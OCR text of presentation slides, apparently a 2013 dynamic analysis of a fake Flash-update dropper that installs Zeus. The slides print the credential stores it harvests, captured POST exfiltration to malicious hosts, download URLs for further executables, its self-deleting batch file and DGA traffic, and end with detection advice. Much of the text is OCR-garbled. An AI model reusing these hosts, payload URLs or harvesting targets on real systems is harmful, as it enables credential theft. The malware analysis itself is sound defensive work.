Manager.Host.User.Pass.Port.Remote Dir.~Cwberduck. .duck.user. con
fig.<setting name=".".value=".Software~SimonTatham~FuTT¥~S5ess ion
=.HostHame. UserHame. Fassword. PortHumber. Termina lType. HppFTR. =#ml.
“MHotepad++. Sof tware~Cof feeCup Software.FTF destination seruwer.FT
F destination user.FTF destination password.FTPF destination port
FTF destination catalog.FTPF profiles.FTPShell.ftpshell.fsi.50ft
ware~MAS-Sof t~FTFInfo~Setup.Datalir.~FTPInfo.ServerList.qml . Hexy
sFile.ftpsite.ini.FastStone Browser.FTPList.db.~HMapleStudio~Chro
meFPlus. Software~Mico Mak Computing-Wing ip~FTP.Software~Hico Hak
Comput ing=ling ip~mru=jobs.S5ite.UserIf.of lags.Port.Folder. . Wwif.wi
nes="."s>.~Yandes.My FTP.project. ini..sml.L{74FF1730-B1Fz2-40353-32
6EBE-1568FRESIDOEY }. HowaF TP. db. ~ INSof tware~MHowaFTF. . ceaccount . Salt.
ot s APOP2_Password2.<SMTP_Fassword2. < IMAP_Fassword2. <HT
TPMai l_Passwordz2. . ~Hicrosoft~lindows Live Hail.Software~Hicrosof
ta~indows Live Mail.-Microsoft~lindows Mail.Software~Microsof -l
indows Mail.Software~REimArts~BZ2~Sett ings.0atalir.DatalirBak.Mail
box. ini.Sof tware~Foco Systems Inc.FPath.~FocoSustem. ini.Frogram.O
ataPath.accounts. ini.~Pocomail.Software~IncrediMail.Emai lAddress
« Technology .. FopServwer. FopPort . PopAccount . PopPassword. SmtpSerwer.
SmtpPort.SmtpAccount . SmtpFPassword. account.cf 9. account .. cfn. ~BatMa
il.~The Batt.Software~EIT~The Batt.Software~BEIT~The Batt+~User=s d
epokt.llork ing Directory . Programbic.Count.Osfault.Oir #:5d.SMTP Ema
il Address.SHTF Server.POP2 Server.POP2 User Hame.SMTPF User Hame
«HHTF Email Address.HHTF User Hame.HHTF Serwer. IMAF Serwer. IMAFP
User Hame.Email.HTTF User.HTTF Serwer URL.POPS User. IMAF User.HT
TPHail User Mame.HTTPHail Server.SHTP User..POF3 Port.SHTP Port.
IMAF Fort..POP2 Passwordz. IMAP Fassword2.HHTP Password2.HTTPMail

Fasswordz.5MTF Password2..FOPS FPassword. IMAP Password. HHTF Pass
Wor-d. HTTF Fassword.SMTP FPassword. . Software~Microsoft~Internet Ac
count Manager~Hocounts. Ident it ies.Software~Microsoft-0Ff Loe~0ut |
ook -~0MI Account Manager-Hocounts.SoftwaresMicrosoft~Nindows HT-C
urrentlUersion~llindows MHessaging Subswstem~Profiles~Hicrosoft Out
look Internet Settings.Software~Hicrosoft~lindows HT~CurrentUers
ion=Windows Mes=saging Subsystem~Frofiles~0ut look.Sof tware~Hicros
of t~Internet Account Manager.Out look.sAccounts. identification. id
ent itymgr. inetcomm server passwords.out look account manager pass
Wwords. ident it ies. {HASE—HAd E—HBAd - A2 HB2 - E A2 A2 A2 S E A2 H R E

EK}.Thunderblrd.HThunderbird.}D@.EH@.EJ@.IH@.#H@..T@..?@.EE@.&[@
i —
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Malware Binary Dynamic Analysis

» Data harvesting: Filezilla Example

® Filezilla FTP Client installed, account details entered and cached

® User (‘sys’) and Password observed in binary execution

I __
ftp.FTPUoyager.qc. ~Rh inoSof t.com.nss3.dlL L.
MSS_Init.MS5_Shutdown.HSS5Basetd_DecodeBuffer.SECITEM_Freseltem.PK
11_GetInternalkewSlot.PEL1l_Authent icate.PR1150F_Decrypt.PEL11_Fre
eSlot. . sH kot ko, ke,  BPEQERESERIE@FARER=glite2.dl l.sqlited_open.
=qlite2_close.sqlited_prepare.sqlited_step.sglited _column_butes,
sqlited _column_blob..mozsglite3.dll.sglitel _open.sgliteld _close.s
HE416E22 | glitel _prepare.sqlited _step.sglited_column_bytes.sqglitel_column_

BE41e0e2| blob. Jhii B3¢0 (BBCzeBATeRCAtOw. . .. ... profiles.ini.Profile.IsRel
ARG EER et ine Path PothToEus n'r\--:--l: 1 LOron r|| it LOron tut LR

R ____

HE415ERZ| iseftp. ini. FTPUowager.
HE415EE2
HEd15F 22
HE415F&2
BE415FA2

BEd1SFES

BE4157R2
BEdleFES
BEd 1 ngzs
BE416252
BEd1eEHE
BEd163ES
HEd 1 e322
BEd 1352
BEd 1 e2H:
HEd 1 a3

sername:s:full addressisi...TERHMSEU-
OFTWARE~Robo—-FTP 2.7~Scripts.SOFTWARE:
F Count.FTP Filerdd.Password. Serwvertar
ortHumber. ServerType. k.. . 8hA. ez HilGLA
At w0, Software~LinasFTP~5ite Manager
Dir.~Cyberduck..duck.yser.conf ig.<se
ware~SimonTatham~PuTT¥-Sessions.HostH.
urber. Terminal Type. MppFTF.. sml. ~Motepar
ware,FTP destination server.FTP desti

passWord.FTP destination port.FTF de-
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HE41CHEZ | 2. tut.sianons3. tHt. #2c. #2d. #2=. SELECT haitname. encryptedldsernam
AE416122 e, encruptedPassword FROM moz_logins.Firefor.sMozillasFirefou~.5
AE416162 | of tware~Moz il la.———. FEpi <~ httpi << https: <. Ftp. . f ireFTPs ites. da
HE4161A2| £ .5eaMonkew .. ~Moz i L la~SeaMonkevw™~.F lock . ~“F lock~Browser~.Moz il la. M
AE4161E2|ozil la~Profiles~. Software~LeechFTP.Applir.Locallir. bookmark .. dat.
BEdlezzz2Eitelnto.OFF. 0din. Favor Ltes, dat.WinF [F- =1 fe=_db _TT ST T3 T=
L i e e T . -
=g =I50 BlIEIgEL G Elsg R BRIIBE letting.. (Setting name="Prompt password change™ 0( /Setti
o | R e e I (Setting name="Conf ig Locat ion”)>C: \Docunents and Se
ARd1 6357 & EHI:II.I:I:I."‘E‘I"\II'ItE‘lllFDrNSNStDragE‘E [, et lﬂOi\dlbllh\%Ol!C.t LoNn 0“.\;.“‘2“"(/3“““9).. <S‘t
AE41E302 | &, tAEEE .4 . A8lF. Eow.q . g, L ehin Pl ting name="Kiotk node” 0( /Settingd.. (Setting nane="Disad
SSHEEE% —*. gtﬂ £ ggfawgaﬁ“ﬁgﬂbegﬂﬂmmﬂnﬁ“F:tE“S' le update check™>0<{/Settingl.. LastServero..
iteServer ~llebllr lteSerwer ~Reru
BB41E462| -Uzer. 3iteseruer Hd-User Fll. %ekeycha || CHOSt > localhostdi/Host .. CPort2gli Port2..
AE4164A2 | eFTP. s ites.#ml.eb Data.login Data.S6 .o (Y‘DQW’TVN)- .
Sgﬂgggg EIEETHI?IHT.F'HIHHHLH.UHIIIRUE;EHEEK.EDHEIEI <Ut0r>ws</Unr>.. <Pass>THIS IS MY PRSSUORD? 1< Pass
rd_value.username_value. ftp:~<s.http: - > <Y
HE4 15552 | Cheomidm, ~ChromeP Llus. Sof tware~ChromeP ft't W/YIMXOGQO‘ set >°‘>1<4m}%’.‘; Lo £ 4 ,a%%
HE4 1552 ichrame. ~Comodo. ~RockMe Lt . K-Me leon . K- e
BR41E65E2 | cnEpic. Staff—FTP. 5 ltes. in L. ~Sites. Ui || viioded. . Max it Lt ipleConnect ions )0 Max inuntiu Lt D
SSHEEE% n.gl._E-..'.j\ElDbaé EDHnéggder.SE.arﬁh.Fri leConnect (ons). . o (Encodmq'tgoo)hato(lincodmg:vocx.
at.LastPassword.Last ress.Lastlzer. £ 7By t ¥
A64 16502 | “BlazeFtpnBett ings. “BlazeFtp. . £oL.FTP- | </8ete mg‘;g“:,{-?{:z)?f “3‘;“;P% s ,‘f,&::\,‘ rwr)t.
AE4166EZ | GoFTP.Connect ions. tit.30-FTP.sites. in | e bl {"'  ep '{"‘" 2
68416722 | TWARE-C Lazzes~Tupel ib-LF9843C50-Ferz2— || e 2o 8, Ci \Docunents and Settings \dublinfpplication DatavMozill
AE41E7VE2 | »B~win32.EaswFTP. “HetSarang. . #fp..odp § O\Flrtfcnt\......................................-..-..--...-....

.........-.‘5\5‘5‘5‘5‘5‘5‘1...‘.---....-'.L..'L.CI\OOCUMfiti U’id SCttth
s \aublinnfRoplication DatavMoz il la\Firefou \Prof | les \xy )7 0ue.defa

ult-n..oo.ooo.-.o-....OQ..Qn...o'o.l.O0.0....OC.....O...I.OO....

l...55%‘““‘..‘.........'.'.‘.’.Cz\wunnt‘ md &t“ng‘\o‘bl‘n
\Rpplication DatavMozillavFirefou \Profiles \wy) 7 j0ue.default e, o,




Malware Binary Dynamic Analysis

» Sysinternal Tools

® File harvesting: accessing files, registry and databases

® Registry entries also show common Windows operations

1 update_flash_pl1012
9 update_flash_pl1012
9 update_flash_pl1012
1 update_flash pl1012
F9 update_flash_pl1012
1 update_flash_pl1012
F9 update_flash_pl1012
1 update_flash_pl1012
9 update_flash_pl1012
F9 update_flash_pl1012
3 update_flash pl1012
F9 update_flash_pl1012
1 update_flash_pl1012
F9 update_flash_pl1012
1 update_flash_pl1012
F9 update_flash_pl1012
1 update_flash_pl1012
1 update_flash pl1012
F9 update_flash_pl1012
£ update_flash_pl1012
F9 update_flash_pl1012
1 update_flash_pl1012
F9 update_flash_pl1012
1 update_flash_pl1012

CPEM
COPEM
CPEM
COPEM
CLOSE
OFEM
HUERY INFORMATION
CUERY INFORMATIOM
CLOSE

C:\Program Filez'FileZila FTP Clienthsiternanager. <ml

C:\Program Fileg\FileZila FTP Clientrecentserers. <ml

C:\Program Files\FileZila FTP Clienthflezila.xml

C:ADocuments and Settingsdublinapplication D ataFilegilahzitermanager. sml
CADocuments and Settings dublintApplication D atahFileZillahsitermanager. xml
C:ADocuments and Settings \dublintapplication D ata'Fileilahzitemanager. sml
CADocuments and Settingzdublindpplication DatahFileZilahsitemanager. xml
CADocuments and Settingz dublintApplication D atahFileZilahsitermanager. xml
CADocuments and SettingzdublinhApplication DatahFileZilahsitermanager. xml

OFEM CADocuments and Settings dublintApplication D atabFileZilahrecentzervers.xml

CLOSE C:ADocuments and Settingzdublintpplication D atatFilegilahrecentzerers. xml UCCESS

COFEM C:ADocuments and Settingshdublin\Application D atabFileZilabvrecentservers.xml - BILICCESS

QUERY INFORMATIOM  C:ADocumentz and Settings\dublin®dpplication DatabFiledilarecentzerers <ml

QUERY INFORMATION  C:A\Documents and SettingshdublintApplication Data\FileZilavecentservers.zml  JUCCESS

CLOSE CADocuments and SettingztdublinhApplication D atabFileilabhrecentzervers xml UCCESS

OFEM CADocuments and Settings dublinhdpplication DatahFilegila'filezilla, <ml

CLOSE C:\Documents and Settingshdublintpplication D atasFilsZilafilezila. wml UCCESS

OPEM C:ADocuments and Settingsdublintapplication D atasFileLilakfilezila. sml LUCCESS

QUERY INFORMATIOM  C:ADocuments and Settings\dublin®Application DatabFileZila\filezilla, <ml

GUERY INFORMATION  C:xDocuments and Setings dublinsApplication D atakFileZilashlezilla. xml UCCESS

CLOSE CADocuments and Settings\dublinhApplication DatahFileZila'filezilla, <ml UCCESS

OPEM CADocuments and Settingz Al L zers\Application D atahFilelillahzitemanager. xml

OFEM C:ADocuments and Settingshal Usershdpplication D ata'FileZilla\recentzervers.«ml RLUCCESS

OFEM CADocuments and Settingz Al U sers'Application D atasFileLillahfilezilla. kml UCCESS

— P —

3604 Setvalue HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed SUCCESS
4205 Setvalue HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed SUCCESS
4262 SetValue HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed SUCCESS
4263 Setvalue HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed SUCCESS
4265 SetValue HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed SUCCESS
4279 Setvalue HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed SUCCESS

24BEAECA AB3G4398...
3FE153D3BC31A1TS ...
S1ES93CD4TAGTIAT ...
BEE1CAJEQE505546 ...
BC508A 75147147 EF ...
7160492151 BB CVCC ...
B0A26499222F55TA ...
81C1269C23 C6E2EF ...
839EO0A053351502E...
S0CEZD 284D B3 ES 3C ...
Bl13ECE2BFEBF2CHL...
CEBOSBEACDTY2E4404 ...
D4SCAODFDICABCDS ...
DCOLOFS62FF21CT6 ...
DE1S1E7A41F6 26 1B ...
E3CEFFEEDB915193 ..
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Malware Binary Dynamic Analysis

» Network Activity: Data exfiltration

BEAISOEEE | oy s sssnesnsnnsnssnssasnsansnasnannannsnasssnasnsnnanasnsnnnnnnns

AE180A4R | ek L, TEBIBE.+, POST Aforum-wiewtopic.php HTTP-1.8..Host
AA1S06EEE| @ S.kogu is. oM. « Hocept s #-#, JHoocept—Encoding: identitw, #;g=@..C
HE1S0ECH | ontent—Length: 3569, .Connection: close..Content—-Tupe: applicatio
HA1807EE | nroctet—stream. . Content—Encoding: binary..Udser—Hgent: Mozil la-d.
BAE1807V4E| B (compatible; MSIE S5.8: Windows 98] ..o s i et ceeencanncanncannnns
HelrhE=]ni=l]

POST /forum/viewtopic.php HTTP/1.0

Host: 8.koguis.com

Accept: */*

Accept-Encoding: identity, *;q=0

Content-Length: 648

'Connection: close

Content-Type: application/octet-stream

Content-Encoding: binary

User-Agent: Mozilla/4.0 (compatible; MSIE S.0; Windows 98)

CRYPTEDO.). ... 7E. ... .. 2500 .M R O 7 2.=8..%..8..EA’....sjl..... 0...2.#Ic.:H..QPm...Dk..
r’ . 2 " L . 1 - = =0 2 = PN 9T I
¥ Je . R( ]@ t...\wl.A 176 54.999648 10.42.43.10 10.42.43.1 HTTE POST /forum/viewtopic.php HITR/1.0
\ . X.M-.Sm. L0 = 190 59.9959501 10.42.43.10 10.42.43.1 HTTE POST /forum/viewtopic.php HTITR/1.0
204 64.9959410 10.42.43.10 10.42.43.1 HTTP POST /forum/viewtopic.php HITP/1.0
218 69.999359 10.42.43.10 10.42.43.1 HTTE POST /forum/viewtopic.php HITR/1.0
----------- q. @.z 91 seeen 232 74.999348 10.42.43.10 10.42.43.1 HTTP POST /forum/viewtopic.php HITR/1.0Q
o TCL . Q .S5.#.@ne. .\ 246 79.599255 10.42.43.10 10.42.43.1 HTTP POST /forum/viewtopic.php HTTR/1.0
$g "aq43. .4A.."'. 260 B4.999187 10.42.43.10 10.42.43.1 HTTE POST /forum/viewtopic.php HTTR/1.0
/@>l&.e2U*D. .S¥.7. .B%. . 274 89.999124 10.42.43.10 10.42.43.1 HTTP POST fforum/viewtopic.php HTTP/1.0
DR o — 284 90.002010  10.42.43.10 10.42.43.1 HTTP  GET /EcYdbYwf.exe HTTP/1.0
..... qu .%.AA f V[ 294 50.004531 10.42.43.10 10.42.43.1 HTTE GET /xFMTWTNP.exe HITRP/1.0
J....8.$9.E.$0V....}...t81G.2 .n...d1V-et.
B T RAN Dy P S %..ed6F2 ..... ~.HTTP/1.1 200 OK




Malware Binary Dynamic Analysis

» Data exfiltration

Frame 1: 473 bytes on wire (3784 bits), 473 bytes captured (3784 bits)
Ethernet II, src: Dell_44:01:39 (00:15:c5:44:01:39), Dst: Belkin_dO:cf:ea

®

Data harvested Internet Protocol Version 4, Src: 10.42.43.10 (10.42.43.10), Dst: 10.42.4
Transmission Control Protocol, Src Port: imgames (1077), Dst Port: http (4

® Calls to Windows Crypt API = Hypertext Transfer Protocol

= Data (419 bytes)
Data: 435259505445443(948e0119a53F45d28b291dabs359casl. ..

® Data packed & encrypted [Length: 419]
0000 00 17 3f d0 cf ea 00 15 c5 44 01 39 08 00 45 00
® HTTP Post formatted 0010 01 ch 01 70 40 00 80 06 &d 5e 0Oa 2a 2b Oa 0a 2a

0020 2b 01 04 35 00 50 1a 46 21 9e 41 93 81 80 50 18
0030 ff ff 33 4b 00 00 "SRRI TED) Ge)
® Data packet sent WOELIMO1 10 a5 37 45 d2 8b 29 1d ab 63 59 ca 51 @
WEl a2 4d ff ed 1f a0 d5 69 d6 86 b8 18 66 78 c3
(060 1 91 46 B5 AR 70O 97 71 g2 1a dec ed 14 32 2d

94:8e:01:19:835:3f:45:d2:8b:29:1d:ab:63:59:ca:51l:cl:cl:aa:4d:ff:ed4:1f:a0:d5:69:d6:86:b Ei
8:18:66:78:598:c3:11:91:46:85:68:7T0:97:71:92:1la:dc:ed:14:32:a2l:3d:492:e8:db:2a:icc:8b:38 P ad
t10:c5:45:41:60:b8:b2:c6:08:73:6a:5bbetbdicaide:895:4f:e8:be:1d:32:0b:23:49:63:02:32: § dl]
48:f3:f4:51:50:6d:10:88:1e:449:6b:04:234:249:d3:23:01:62:06:57:9%a:e1:52:28:60:f0:5d:3f:d4 EA
1:06:Tb:d4:c2:28:02:4a2:09:97:14e:d1:32:78:1f:16cichi8c:ie9:e3:ebi90:b4:ab:ad4:c0:90:90:76 P Af
te3iclied:dd4:22:f3:e2:85:e0:1a:16:93:d4:f1:04:53:61:f8:c2:4F:49:69:00:13:6f:58:94:b7: f el
cl:10:3d:47:bc:d%:ad:el:89:c5:el:74:84:ef:56:af:Te:5f:ee:db:48:ed:3a:02:12:fb:9e:42:f | gﬁ
4:28:08:77:d9:a5:4ftbatee:aBi77:164:1232:80:ae:21:5d:d7:Tc:fe:d2:dd:ba:2b:8e:63:T£:0£:09 Of
teT:be:089:fe:T2:c8:65:T70:0c:T73:63:82:91:b0:2b:c0:23:f5:8f:88:T74:3f:caref:cf:58: fb:4d: : %i
Sei2cillib6:88:07:69:4a:9a:2f:f4:62:66:10:b5:86:a7:57:28:2f:60:ec:ich:ibb:ib3:a2ied4:24:0 285
6:T0:f5:6d:d1:e8:c8:25:8b:27:16:0d:1f:62:51:40:fe:b3:99:45:71:dd:55:2e7:51:80:a7:2b:fe cS

tl6:a7:89c:icf:T7:4d:a8:3e:1c:41:1b:0d:84:9b:27:14:5d:e1:f4:32:8d:13:32:fb:31:54:4b:45:
9l:cd4:beiZ2c:81l:ff:49:bbileiac:4f:8cieei3eicTicE:54:01:ad:49:9a:de:d46:cl:ad:01:7f:82:9
89:3a:72:ec:6B8:Tb:4d:52:50:23:bd:a3:42:59:b4:4a2:5b:59:b2:22:8b:d6:Ta:ed:4e:80:2b:4c:3a
tf2ieb: T TicE:17:21:f1:cc:83:0c:14:18:71:d4

IELRN>1 1 cc 93 Oc 14 18 71 d4
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Malware Binary Cryptographic Analysis

» Cracking the Encryption

. ninstall. UnlnatallStang Dlanlayﬂame “oooooooooo EHE. SDFtwarEHmln
o Observed WlndOWS Crypto API calls FAR. open. 8. . Ckerne [22.dL L. WTSEet Act iveConsoleSession Id. ProcessId
TDSEEEanId «netapizZ.dll.MetAp iBufferFree.NetUserEnum. .ole32. dl1

la ﬁtggpenﬁtarage aduapLSE dll. Hllacéteggdln ; el v Enk

enfembership == edFnumerate redFree.CruptGetUser eyt ™y

® Assume RC4 ptEsportEey. CryptReleaseContert  RevertTose¥. Ope
nProcessTokefo IFE ohiateloggedinlUser. GetToken Informat ion . Conwver
t$thnStringSng ET?DEUSEFE LnnkupPELULlEgeUSlueg HdJugtTDkEnErL
— : : vileges. .crypt3z. LryptUnprotectData. CertOpenSystemStored. Cer

o Symmetrlc encryptlon’ SO need key tEnumCert if icatesInStore. CertCloseStore. CowptHoqu ireCert if icateP
r%uateﬁey..mai.dll.HEiEEtCDmDDnentPathH..Diturec.dll.PStDrEEreat
SN EEEMEE0 0 000 00D 00D D000 00000000000 0000000000000 00000000000000 0

® Extract payload from network dump
® Parse header (“CRYPTEDO”)
® Bruteforce attempts using free online RC4 Decryption Tool

® Success, kind of..

22 ;.s&t.tllloat':cs.ohb& ofh:in 1 ’
1U414 62 http:7/78.koguis. con/Forun/vtewtoptc php.http://8.3

16414?Q‘ rg/forumn/viewtopic.php..http: 77Uoyagersystens. cc/EcYdbYus. exe.ht
1A4147E2| tp: 7/marketer—-school.net/#sFMTUTNP.exe. . YUIPWUDFILEBYUIPKDFILEBYUI
183414622 CRYPTEDBYUI1.0.....8.MODUBBE+$. ° >¢. SOFTWARENMicrosof t\Windows\Cu

RC4 Decryption Tool

Encrypted data

Key: Original data
94 8e 01 19 a5 3f 45 d2 8b 29 1d ab 63 - cryptimplus .
59 ca 51 c0 c0 aa 4d £f e4 1f a0 45 &9 [El
dé 86 b8 18 66 78 98 ¢3 11 91 46 85 &8 DECRYPT
70 97 71 92 la dec ed 14 32 al 3d 42 eB & -

db 2a cc Sb 38 10 <5 45 41 &0 b8 b2 cé
Encoded into a hexadicimal string
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Malware Binary Compression

» Unable to ‘unpack’ further

® Possibly using packer from earlier, but binary not seen
® Using native Windows compression?

® Suggestions!?
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Malware Binary Dynamic Analysis

» Blackhole Dropper: Real payload of attack, retrieved, renamed and launched from temp directory

i Followe TCP Stream EI@

Stream Content

GET A%FMTWTHP. exe HTTP/1. 0 -
Host: marketer-school.net =
ACCEpT: Ww

Accept-Encoding: ddentity, *;g=0

Connection: close

User-agent: Mozillas 4.0 (compatible; MSIE 5.0; windows G8)

HTTF/1.1 200 OK

Date: wed, 06 Febh 2013 14:43:02 GMT

Server: Apaches2.2.22 (Fedora)
Last—Modified: wed, 06 Feh 2013 14:32:14 GMT
ETag: "61542-5d110-4d50f3141a12d"
ACcept-Ranges: bytes

Content-Length: 381200

Connection: close

Content-Type: application/octet-stream

M e ettt ann e e 2 I..L.!This
program cannot be run in DOS mode.

S PE..L...... R 2 e eiaee eeeeaaaeeaas

e it et e ke e ke e e e e s ek e e e ek E s s ek E e s ek e h s e ke e e ey ..

K e e e e e et e e e e e et e e e e e e e e e e e et e et e e e e
e e e e e, 0= dat

Ble e et me e a e . = T 1
Boveeeter e innnnnnns E...E...E...E...E...E...E...E...E...E...E...E...E...E...E. .E.%.E
(.E.,.E.0.E.4.E.8.E.<.E.®.E.D.E.H.E.L.E.P.E.T.E.*.E

“.E. .E.d.E.h.E.T.E.p.E.T.E.X.E. |.E E...E...E...E E E E E...E...E E E
E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E
E...E...E...E...E...E. .E.%.E.
(.E.,.E.0.E...E...E...E...E...E...E...E...E...E.h.E.1.E.p.E.T.E.X.E.|.E...E...E...E
E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E
E.&.E.<.E.®.E.D.E.H.E.L.E.P.E.T.E.X.E. i
4 | 1 3
Entire comeersation (381657 bytes) |E|
| Eind || Saess || pint |0 asco ©) EBCOIC ©) Hex Durnp O C Arrays © PRaw

Filter Out This Stream ] ’ Cloze ]
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Malware Binary Dynamic Analysis

» Self-destruction sequence commencing!

® Batch file to delete “update_flash_player” plus itself

3] Z AB.p 0. AHE. 8. o+@'u—+@ NF@.qIHE. UG, 356, SFG. 1=, =€, +70, 570.87€
SS6F 3| .*f@ M. . rE.Rr@, Fa@. 2 @, . "] E. 2 JE.°JR.tTE.TTE, "'N@, - M@, #Z@, Fp@,
;."'::'f . P@ 21@-“8@ J“@ ’e@ kJ@ -@....................-Cl!ent HaSh STgt
Ba1s | TUS=IMPORT-0K.%Zd. exe. Z82X. true.Shel |IExecuteR.abed.bat...ovuee 3
1JK oo del %1 ...if .. enist . 1 . goto .. tJk.. del . %O
.",i‘:f’;:::'::' - .'zs" .shellaz.dll.'.I..I.................."..‘....'I...E
.r-r'- ----- L B B N B B B N B N N B B N B I N B N B R N B N N N B B B R R R B N N N N N B N B B L B B N B B B B N B N N B B B es TOOIS He'p
@ Back ~ ? / 'Search ||( -~ Folders E
3 1ijk ' -
p del Address (L) C:\Documents and SettingsidubliniLocal Settings\Temp
X 5
5 if exist goto Folders —
6 1jk | W5 998109.exe
= del bocuments ' W 998312.exe
Lomputer Fabed.bat

I 55612 |PID: 2288, Command line: emd /¢ ""C:\DOCUME™~1\dublin\LOCALS~1\Temp\abcd.bat"

n

"c:\update flash_player.exe"

1 update_flash_pl:2976
1 update_flash_pl:2976
9 update_flash_pl:2975
9 update_flash_pl:2976
F update_flash_pl:2976
1 update_flash_pl:2976
9 update flash_pl:2976
9 update_flash_pl:2976
e -

OPEM
GUERY INFORMATION
GQUERY INFORMATIOMN
GQUERY INFORMATION
CLASE
OPEM
READ
CLASE

C:ADocuments and SettingzhdublintLocal SettingzhTemphabod. bat
C:ADocuments and SettingsidublintLocal SettingzhTemphabed.bat
C:hDocuments and SettingshdublintLocal SettingzhTermphabod. bat
C:ADocuments and Settingshdublint Local SettingzhTemph abod. bat
C:ADocuments and SettingzhdublintLocal SettingzhTemphabed. bat
C:ADocuments and SettingsldublintLocal SettingzhTemphabed.bat
C:hDocuments and SettingshdublintLocal SettingzhTermphabod. bat
C:hDocuments and SettingshdublintLocal SettingzhTemph abod. bat
_
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Malware Binary Dymamic Analysis

» From bad to worse, who invited Zeus to the party?

S total

SHAZEE: BS1214ed72b1 5k a5 e alebS9b0aY ale 10ecab7 0355529 cE20bE2 o8V

File name: #FRTVTHF exe Kaspersky

Detection ratio; 39/ 46 Kingsoft

N Malwarebytes

Symantec Packed. Generic 352 heAfee

TheHacker Trojan/Spy. Zhot. goof McAfee-GWY-Edition

TatalDefense Microzoft

Micro¥World-eScan

Trendhicro TROJ_GEN. R4AETAT

MAMO-Antivirus
TrendMicro-HouseCall TROJ_GEN R4AE1AS

Marman
WBAZZ B=cope TrojanPSW. Zhot. 2716

nFrotect
WIFRE Trojan Win3Z2. GenericlBT

Panda
WiFobot Trojan. Win32 A Zhot. 381200

FCTools

Rising

Sophos

Trojan-Spy. WindZ. Zbot. gglm
Win32. Troj. Zbot. (kcloud)
Spyware Jeus

PWWS-Zhaot. gen.aln
PWWS-Zhat.gen.aln

PSS Win32/Zbot. genlAk
Gen:ariant. Kazy 64495
Trojan. Win3d2 Zbot.bburng
Kryptik. B=R
Trojan-Spy/AW32. 7B0t. 381200
TrifSinowal MWW
HeurEngine. MaliciousPacker
Malware Symmild3CE

TrajfZhot-DHM
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Malware Advanced Analysis

» Zeus requires Traditional Digital Forensics (with Open Source/non-Commercial)

® Process cannot be easily found, but certainly running

® Live analytics

O Network

O Local analysis: Autoruns, ProcExp, RegExp, RootKit Revealer,

® Offline Analysis: Memory Forensics

O Memory Snapshot: Dumplt, dd, Helix, Deft, RedLine, ‘hiberfil.sys’

O ‘Volatility’ for subsequent system analysis:
m Running (and expired) processes
m Full Registry (Windows always keeps live in RAM)
m Network (past and present)

m Running DLL’s, APl hooks, modules

m Advanced plug-ins focused on malware & even Zeus
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Malware Advanced Analysis

H . 107.193.192.202 uppP 209 Source port: 28802 Dpestination port: 28707
> Network behaviour: 108.71.222.119 UDP 224 Source port: 28802 opestination port: 23456
67.117.105.70 uppP 203 Source port: 28802 opDestination port: 21549
81,149.25.242 upp 179 Source port: 28802 opestination port: 20311
* UDP Pattern to IP array 76.5.130.26 uppP 194 Source port: 28802 oDestination port: 11749
208.106,56.44 UpP 199 Source port: 28802 Dpestination port: 17189
) iace 76.224.220.38 upp 179 Source port: 28802 opestination port: 26202
DNS queries. 76.223.247.173 UDP 280 Source port: 28802 opestination port: 15150
. 219.74.173.38 uop 313 source port: 28802 pestination port: 22128
O Google, Bing 12.69.33.114 UDP 149 Source port: 28802 Destination port: 16684
184.184.247.60 UpP 268 Source port: 28802 Dpestination port: 23089
P C| C| d . 71.17.245.194 UDP 183 Source port: 28802 Destination port: 26331

O Fseudo-random domains | gg,174.233.11 WASSP 269 Type Ox2a[Malformed Packet]
195.169.125.228 upP 130 Source port: 28802 Destination port: 29902
® Verision: 69.156.97.194 UppP 292 source port: 28802 pestination port: 20038
er|5|gn. 108.217.233.48 UDP 304 Source port: 28802 Destination port: 16503
178.24.254.56 upp 142 Source port: 28802 Destination port: 29604
¥ 99, 68.50.168 upp 117 Source port: 28802 Dpestination port: 18692
o crl.ver|5|gn.com 183.91.20.38 UDP 214 Source port: 28802 Destination port: 11064

O csc3-2004-crl.verisign.com

O csc3-2009-2-crl.verisign.com

. . R — — P —
O ¢sc3-2010-crl.verisign.com | 10.42.43.1 DNS 74 standard gquery 0x86e7 A www.google.com
10.42.43.1 DNS 72 standard query Ox1f4a A www.bing.com
. 10.42.43.1 DNS 90 standard query 0x4306 A Trfkvxyrfufmknvcagrwvwdumn. com
® 7eus calllng home 10.42.43.1 DNS 87 standard query 0x43e3 A heyvspnjkvibfuhaalvihivt.ru
10.42.43.1 DNS 87 standard query 0x03ed A ubagmmvxwltpvobdrsyxacp.biz
10.42.43.1 DNS 91 standard query 0x351e A kbswdyayrswkjnzhxnifmpucjb. info
o Control & Command 10.42.43.1 DNS 92 standard query 0x13f2 A vksbamrmrkvibypzhpjaeoryhulf.org
10.42.43.1 DNS 80 standard query OxfcO0a A qoplpbpregplvtirdunimngysqg.net
10.42.43.1 DNS 89 standard query 0x8%a6 A Imrhbeypexplijkzeumxjvifeu.com
10.42.43.1 DNS 88 Standard query 0xf752 A fyjfexaulbybymzgaajgmnzuo.ru
10.42.43.1 DNS 86 Standard query 0x0669 A bmauagjzxkpjugkvwbmjbg. com
10.42.43.1 DNS 92 standard query 0x875b A muwtczxgujrbazdxrcjnxgkvzppn.net
10.42.43.1 DNS 85 standard query 0xad78 A pxctvfaxpjjnxeulxeaby.org
10.42.43.1 DNS 87 standard query 0x2985 A tgdigmrgtgdudgagcubulg.info
10.42.43.1 DNS 86 standard query Ox5a41 A wcobinxoxpbhgxagbizrtx.biz
10.42.43.1 DNS 89 standard query Oxae77 A tvamjltsemkzgspswwopfhydzp.ru
10.42.43.1 DNS 80 standard query Oxcde2 A aunrjvzsolvxmnhmhavwnfpbda. com
e
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Malware Advanced Analysis

» Streaming DNS queries to +2000 pseudo-random domains

» Impossible to block (Firewall/IPS)

» But... easy to find:

® Check DNS queries
O WireShark on DNS Server
O DNS logging on BIND/Windows

® Proxy access logs!?
® Also check direct-access attempts

® |DS:“Unusual Number of unknown
DNS queries”

® Other IDS network signatures
(packet headers?)

® May be irrelevant once contact is
established and specific Zeus
configuration operational

Copyright © 2012 Murex S.AS. All rights reserved

txgpxzhgutjzdnzblxwxmf.net
txgpxzhgutjzdnzblxwxmf.net
ucamfinxbeaelvrgdmnrpb.com
ucamfinxbeaelvrgdmnrpb.com
